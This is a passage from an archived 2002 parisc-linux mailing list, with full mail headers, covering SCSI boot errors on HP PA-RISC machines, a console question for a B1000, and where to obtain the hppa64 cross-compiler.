NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:47 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun 19 01:21:49 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from tyke.pjc.net (public1-leed3-6-cust141.leed.broadband.ntl.com [80.0.5.141])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1DC214848
	for <parisc-linux@lists.parisc-linux.org>; Wed, 19 Jun 2002 01:21:49 -0600 (MDT)
Original-Received: from patrick by tyke.pjc.net with local (Exim 3.35 #1 (Debian))
	id 17KZml-0001Ek-00
	for <parisc-linux@lists.parisc-linux.org>; Wed, 19 Jun 2002 08:21:47 +0100
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <HMEKIKEAKEFFMJJOEAJNKEJKFIAA.maudette@synopsys.com>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15132

On Tue, Jun 18, 2002 at 04:35:48PM -0400, Michael Audette wrote:
> When the kernel boots it gets hung up trying to probe sda with the
> following:
> 
> SCSO host 0 abort (pid 0) timed out resetting
> SCSI bus is being reset for host 0 channel 9
> ncr53c8xx_reset: pid 0 reset_flags=2 serial_number=84
> serian_number_at_timeout=84
> ncr53c720-0: suspicious SCSI data while resetting the BUS
> ncr53c720-0:
> dp1,d15-8,dp0,d7-0,rst,req,ack,bsy,sel,ath,msg,c/d,i/o=0X4020029, expecting
> 0x100
 
I got something very similar when I had a SCSI-1 CD-ROM driver attached to the
external SCSI port. When I unplugged it it went away and the system booted fine
though.

This was with the Debian 2.4.17 kernel.

patrick




From - Thu Nov 08 21:23:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SCSI Boot Problems on HP C110/9000
Date: Wed, 19 Jun 2002 08:32:10 +0100
Lines: 29
Approved: news@gmane.org
Message-ID: <20020619073210.GD13867@sleepie.demon.co.uk>
References: <HMEKIKEAKEFFMJJOEAJNKEJKFIAA.maudette@synopsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621407 9102 80.91.229.3 (22 Nov 2014 01:56:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:47 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Michael Audette <Mike.Audette@synopsys.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun 19 01:57:18 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from thinkpad.home (pc4-hems4-0-cust39.bre.cable.ntl.com [213.105.90.39])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0BE6C483D
	for <parisc-linux@lists.parisc-linux.org>; Wed, 19 Jun 2002 01:57:18 -0600 (MDT)
Original-Received: by thinkpad.home (Postfix, from userid 1000)
	id 598299ECF7; Wed, 19 Jun 2002 08:32:10 +0100 (BST)
Content-Disposition: inline
In-Reply-To: <HMEKIKEAKEFFMJJOEAJNKEJKFIAA.maudette@synopsys.com>
User-Agent: Mutt/1.3.24i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15133

On Tue, Jun 18, 2002 at 04:35:48PM -0400, Michael Audette wrote:
> When the kernel boots it gets hung up trying to probe sda with the
> following:
> 
> SCSO host 0 abort (pid 0) timed out resetting
> SCSI bus is being reset for host 0 channel 9
> ncr53c8xx_reset: pid 0 reset_flags=2 serial_number=84
> serian_number_at_timeout=84
> ncr53c720-0: suspicious SCSI data while resetting the BUS
> ncr53c720-0:
> dp1,d15-8,dp0,d7-0,rst,req,ack,bsy,sel,ath,msg,c/d,i/o=0X4020029, expecting
> 0x100
> 
> Any way around this.  This drive boots up just fine with the HP-UX10.20 that
> is installed on it.

booting with "ncr53c8xx=buschk:2" will make that error turn in to a
warning, buschk:0 will say don't bother checking at all.

What do you mean by "gets hung up"?  It should just fail that scsi
controller and continue to boot.

The actual error means the scsi bus is not in an idle state following
reset, as if some device on the bus is active.  Do you have any devices
you can remove from the bus?  Is the bus terminated?

Richard



From - Thu Nov 08 21:23:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bruno =?iso-8859-1?Q?L=E9on?= <nonolemono@yahoo.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Only serial console for B1000 (64bits) ?
Date: Wed, 19 Jun 2002 10:24:44 +0200
Lines: 14
Approved: news@gmane.org
Message-ID: <200206190826.g5J8QYS31181@iut-lannion.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416621407 9103 80.91.229.3 (22 Nov 2014 01:56:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:47 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun 19 02:26:35 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from iut-lannion.fr (alba.iut-lannion.fr [192.70.33.18])
	by dsl2.external.hp.com (Postfix) with ESMTP id 17A484841
	for <parisc-linux@lists.parisc-linux.org>; Wed, 19 Jun 2002 02:26:34 -0600 (MDT)
Original-Received: from pcp91 (PCP91.iutlan.univ-rennes1.fr [129.20.233.91])
          by iut-lannion.fr (8.11.0/jtpda-5.3.1) with SMTP id g5J8QYS31181
          for <parisc-linux@lists.parisc-linux.org>; Wed, 19 Jun 2002 10:26:34 +0200
X-Sender: nonolemono@pop.mail.yahoo.fr
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0.2 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15134

I'm currently trying to install the Woody on a B1000 computer (64bits
architecture). 
I'm using a CD to boot - that worked fine on a B180L (32bits) - and I'm
telling palo to use the vmlinux64 instead of the simple vmlinux. This part
is done using a screen connected to the B1000 station.
My problem is that when the computer starts to boot, the screen move to
stand by mode.
Is it that only serial console is supported? I'm wondering coz I connect a
vt100 to the serial port, and I didn't get any signal on it :(

Hope you'll be able to help ;)




From - Thu Nov 08 21:23:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "LAND,GRAHAM (HP-Ireland,ex2)" <graham_land@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] subscribe
Date: Wed, 19 Jun 2002 10:56:06 +0100
Lines: 183
Approved: news@gmane.org
Message-ID: <253B1BDA4E68D411AC3700D0B77FC5F804746875@patsydan.dublin.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C21777.87B7EC40"
X-Trace: ger.gmane.org 1416621408 9107 80.91.229.3 (22 Nov 2014 01:56:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:48 +0000 (UTC)
To: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun 19 03:56:10 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bramg1.net.external.hp.com (branmg1.net.external.hp.com [155.208.254.89])
	by dsl2.external.hp.com (Postfix) with ESMTP id AD9824836
	for <parisc-linux@lists.parisc-linux.org>; Wed, 19 Jun 2002 03:56:09 -0600 (MDT)
Original-Received: from fowey.BR.ITC.HP.COM (fowey.br.itc.hp.com [15.145.8.186])
	by bramg1.net.external.hp.com (Postfix) with SMTP id 0889324F
	for <parisc-linux@lists.parisc-linux.org>; Wed, 19 Jun 2002 11:56:08 +0200 (METDST)
Original-Received: from 15.145.8.186 by fowey.BR.ITC.HP.COM (InterScan E-Mail VirusWall NT); Wed, 19 Jun 2002 10:56:07 +0100 (GMT Daylight Time)
Original-Received: by fowey.br.itc.hp.com with Internet Mail Service (5.5.2655.55)
	id <NB83N3K8>; Wed, 19 Jun 2002 10:56:07 +0100
X-Mailer: Internet Mail Service (5.5.2655.55)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15135

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C21777.87B7EC40
Content-Type: text/plain;
	charset="iso-8859-1"

 

Graham Land 
Customer Engineer 
Dublin, Ireland 
 <http://www.itrc.com/> The IT Resource Centre 
 
 <mailto:graham_land@hp.com> graham_land@hp.com 
Mobile +353 86 8158323 
Fax +353 1 6158296 
Tel +353 1 6158323 

Discover the possibilities that the On-line Support Services of the IT
Resource Center offer, and let this new information source work to your
advantage! 
You will find Hewlett-Packard's Support and Services Portal at
<http://www.itresourcecenter.hp.com> http://www.itresourcecenter.hp.com.
This is a central extensive on-line information source for quick personal
IT-information, databanks, tools and services for the total life cycle of
heterogeneous IT-environments. 
 

------_=_NextPart_001_01C21777.87B7EC40
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML xmlns=3D"http://www.w3.org/TR/REC-html40" xmlns:v =3D=20
"urn:schemas-microsoft-com:vml" xmlns:o =3D=20
"urn:schemas-microsoft-com:office:office" xmlns:w =3D=20
"urn:schemas-microsoft-com:office:word"><HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<TITLE>Graham Land Customer Engineer Dublin, Ireland The IT Resource =
Centre</TITLE>

<META content=3DWord.Document name=3DProgId>
<META content=3D"MSHTML 5.50.4915.500" name=3DGENERATOR>
<META content=3D"Microsoft Word 9" name=3DOriginator><LINK=20
href=3D"./GrahamLand_files/filelist.xml" rel=3DFile-List><!--[if gte =
mso 9]><xml>
 <o:DocumentProperties>
  <o:Author>gland</o:Author>
  <o:Template>Normal</o:Template>
  <o:LastAuthor>gland</o:LastAuthor>
  <o:Revision>4</o:Revision>
  <o:TotalTime>10</o:TotalTime>
  <o:Created>2002-05-14T12:38:00Z</o:Created>
  <o:LastSaved>2002-05-24T07:44:00Z</o:LastSaved>
  <o:Pages>1</o:Pages>
  <o:Words>112</o:Words>
  <o:Characters>642</o:Characters>
  <o:Company>Hewlett-Packard</o:Company>
  <o:Lines>5</o:Lines>
  <o:Paragraphs>1</o:Paragraphs>
  <o:CharactersWithSpaces>788</o:CharactersWithSpaces>
  <o:Version>9.4402</o:Version>
 </o:DocumentProperties>
</xml><![endif]-->
<STYLE>@font-face {
	font-family: Verdana;
}
@font-face {
	font-family: Hewlett;
}
@page Section1 {size: 8.5in 11.0in; margin: 1.0in 1.25in 1.0in 1.25in; =
mso-header-margin: 35.4pt; mso-footer-margin: 35.4pt; mso-paper-source: =
0; }
P.MsoNormal {
	FONT-SIZE: 12pt; MARGIN: 0in 0in 0pt; FONT-FAMILY: "Times New Roman"; =
mso-style-parent: ""; mso-pagination: widow-orphan; =
mso-fareast-font-family: "Times New Roman"
}
LI.MsoNormal {
	FONT-SIZE: 12pt; MARGIN: 0in 0in 0pt; FONT-FAMILY: "Times New Roman"; =
mso-style-parent: ""; mso-pagination: widow-orphan; =
mso-fareast-font-family: "Times New Roman"
}
DIV.MsoNormal {
	FONT-SIZE: 12pt; MARGIN: 0in 0in 0pt; FONT-FAMILY: "Times New Roman"; =
mso-style-parent: ""; mso-pagination: widow-orphan; =
mso-fareast-font-family: "Times New Roman"
}
A:link {
	COLOR: blue; TEXT-DECORATION: underline; text-underline: single
}
SPAN.MsoHyperlink {
	COLOR: blue; TEXT-DECORATION: underline; text-underline: single
}
A:visited {
	COLOR: blue; TEXT-DECORATION: underline; text-underline: single
}
SPAN.MsoHyperlinkFollowed {
	COLOR: blue; TEXT-DECORATION: underline; text-underline: single
}
DIV.Section1 {
	page: Section1
}
</STYLE>
</HEAD>
<BODY lang=3DEN-US=20
style=3D"FONT-SIZE: 10pt; COLOR: #000000; FONT-FAMILY: Times New Roman; =
tab-interval: .5in"=20
vLink=3Dblue link=3Dblue background=3D"">
<DIV class=3DSection1>
<P class=3DMsoNormal><SPAN style=3D"FONT-FAMILY: Hewlett"><![if =
!supportEmptyParas]><![endif]><FONT=20
face=3D"Times New Roman"><FONT =
size=3D2>&nbsp;<o:p></o:p></FONT></FONT></SPAN></P>
<TABLE style=3D"mso-cellspacing: 0in; mso-padding-alt: 0in 0in 0in 0in" =

cellSpacing=3D0 cellPadding=3D0 border=3D0>
  <TBODY>
  <TR>
    <TD=20
    style=3D"PADDING-RIGHT: 0in; PADDING-LEFT: 0in; PADDING-BOTTOM: =
0in; PADDING-TOP: 0in"=20
    noWrap>
      <P class=3DMsoNormal><B><SPAN=20
      style=3D"FONT-SIZE: 10pt; FONT-FAMILY: Verdana"><FONT=20
      face=3D"Times New Roman">Graham Land</FONT></SPAN></B><SPAN=20
      style=3D"FONT-SIZE: 10pt; FONT-FAMILY: Verdana"><FONT=20
      face=3D"Times New Roman"> <BR>Customer Engineer <BR>Dublin, =
Ireland=20
      <BR></FONT><A title=3D"For all patching, firmware &amp; support =
information"=20
      href=3D"http://www.itrc.com/"><FONT face=3D"Times New Roman" =
color=3D#000000>The=20
      IT Resource Centre</FONT></A><FONT face=3D"Times New Roman">=20
      </FONT></SPAN></P></TD>
    <TD=20
    style=3D"PADDING-RIGHT: 0in; PADDING-LEFT: 0in; PADDING-BOTTOM: =
0in; WIDTH: 105pt; PADDING-TOP: 0in"=20
    noWrap width=3D140>
      <P class=3DMsoNormal><![if !supportEmptyParas]><![endif]><FONT=20
      size=3D2>&nbsp;<o:p></o:p></FONT></P></TD>
    <TD=20
    style=3D"PADDING-RIGHT: 0in; PADDING-LEFT: 0in; PADDING-BOTTOM: =
0in; PADDING-TOP: 0in"=20
    noWrap>
      <P class=3DMsoNormal><SPAN style=3D"FONT-SIZE: 10pt; FONT-FAMILY: =
Verdana"><A=20
      href=3D"mailto:graham_land@hp.com"><FONT face=3D"Times New Roman" =

      color=3D#000000>graham_land@hp.com</FONT></A><FONT face=3D"Times =
New Roman">=20
      <BR>Mobile +353 86 8158323 <BR>Fax +353 1 6158296 <BR>Tel +353 1 =
6158323=20
      </FONT></SPAN></P></TD></TR></TBODY></TABLE>
<P class=3DMsoNormal><SPAN=20
style=3D"FONT-SIZE: 7.5pt; FONT-FAMILY: Verdana"><BR><FONT=20
face=3D"Times New Roman"><FONT size=3D2><I>Discover the possibilities =
that the=20
On-line Support Services of the </I><B>IT Resource=20
Center</B></FONT></FONT><I><FONT face=3D"Times New Roman" size=3D2> =
offer, and let=20
this new information source work to your advantage! <BR>You will find=20
Hewlett-Packard's Support and Services Portal at </FONT></I><A=20
href=3D"http://www.itresourcecenter.hp.com"><FONT face=3D"Times New =
Roman"=20
color=3D#000000 =
size=3D2>http://www.itresourcecenter.hp.com</FONT></A><FONT=20
face=3D"Times New Roman"><FONT size=3D2><I>. This is a central =
extensive on-line=20
information source for quick personal IT-information, databanks, tools =
and=20
services for the total life cycle of heterogeneous IT-environments.</I> =

<o:p></o:p></FONT></FONT></SPAN></P>
<P class=3DMsoNormal><![if !supportEmptyParas]><![endif]><FONT=20
size=3D2>&nbsp;<o:p></o:p></FONT></P></DIV></BODY></HTML>

------_=_NextPart_001_01C21777.87B7EC40--



From - Thu Nov 08 21:23:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bruno =?iso-8859-1?Q?L=E9on?= <nonolemono@yahoo.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Only serial console for B1000 (64bits) ?
Date: Wed, 19 Jun 2002 14:08:53 +0200
Lines: 4
Approved: news@gmane.org
Message-ID: <200206191210.g5JCAhS01753@iut-lannion.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416621408 9108 80.91.229.3 (22 Nov 2014 01:56:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:48 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun 19 06:10:42 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from iut-lannion.fr (alba.iut-lannion.fr [192.70.33.18])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4B9454837
	for <parisc-linux@lists.parisc-linux.org>; Wed, 19 Jun 2002 06:10:41 -0600 (MDT)
Original-Received: from pcp91 (PCP91.iutlan.univ-rennes1.fr [129.20.233.91])
          by iut-lannion.fr (8.11.0/jtpda-5.3.1) with SMTP id g5JCAhS01753
          for <parisc-linux@lists.parisc-linux.org>; Wed, 19 Jun 2002 14:10:43 +0200
X-Sender: nonolemono@pop.mail.yahoo.fr
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0.2 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15136

Nothing about it ?




From - Thu Nov 08 21:23:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] hppa64-linux-gcc not in gcc dpkg?
Date: Wed, 19 Jun 2002 15:28:08 +0200 (CEST)
Lines: 22
Approved: news@gmane.org
Message-ID: <1024493288.3d1086e89dfd2@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621408 9109 80.91.229.3 (22 Nov 2014 01:56:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:48 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun 19 07:28:13 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail2.tiscali.be [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id 30541483F
	for <parisc-linux@lists.parisc-linux.org>; Wed, 19 Jun 2002 07:28:13 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17KfVI-00042d-00
	for <parisc-linux@lists.parisc-linux.org>; Wed, 19 Jun 2002 15:28:08 +0200
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.4
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15137

Hi all,

To verify my ioctl32 patch for 64bit kernel I am just trying to compile last cvs
kernel in 64bits on my b2000 (PA8600?). To do so, in make menu config, i choose
procesor type PA8x00, 64bits kernel && 32bits PDC (because b2000).

But when I launch make dep, it failled because it did not find hpp64-linux-gcc?
I search on http://www.debian.org/distrib/packages but no success?

Do I have to report this problem to debian gcc package maintainer?
(IIRC for other paltform a compiler paramater avoid to have seperate bin)

Also to be sure to build it with Carlos tool chain, I had to specify
--target=hppa64-linux?

Thanks in advance for advice,
    Joel

-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:23:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hppa64-linux-gcc not in gcc dpkg?
Date: Wed, 19 Jun 2002 14:36:27 +0100
Lines: 16
Approved: news@gmane.org
Message-ID: <20020619143627.K9435@parcelfarce.linux.theplanet.co.uk>
References: <1024493288.3d1086e89dfd2@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621409 9112 80.91.229.3 (22 Nov 2014 01:56:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:49 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun 19 07:36:37 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id B12034850
	for <parisc-linux@lists.parisc-linux.org>; Wed, 19 Jun 2002 07:36:36 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17KfdL-0003oG-00; Wed, 19 Jun 2002 14:36:27 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <1024493288.3d1086e89dfd2@webmail.tiscalinet.be>; from joel.soete@freebel.net on Wed, Jun 19, 2002 at 03:28:08PM +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15138

On Wed, Jun 19, 2002 at 03:28:08PM +0200, joel.soete@freebel.net wrote:
> To verify my ioctl32 patch for 64bit kernel I am just trying to compile last cvs
> kernel in 64bits on my b2000 (PA8600?). To do so, in make menu config, i choose
> procesor type PA8x00, 64bits kernel && 32bits PDC (because b2000).

what makes you think that you should use 32-bit PDC on b2000?

> But when I launch make dep, it failled because it did not find hpp64-linux-gcc?
> I search on http://www.debian.org/distrib/packages but no success?

get the packages from ftp://ftp.parisc-linux.org/unofficial-debs.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:23:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Only serial console for B1000 (64bits) ?
Date: Wed, 19 Jun 2002 15:59:24 +0200 (CEST)
Lines: 26
Approved: news@gmane.org
Message-ID: <1024495164.3d108e3ce4d3c@webmail.tiscalinet.be>
References: <200206190826.g5J8QYS31181@iut-lannion.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621409 9114 80.91.229.3 (22 Nov 2014 01:56:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:49 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: =?ISO-8859-1?Q?Bruno_L=E9on?= <nonolemono@yahoo.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun 19 07:59:33 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0710B484D
	for <parisc-linux@lists.parisc-linux.org>; Wed, 19 Jun 2002 07:59:31 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
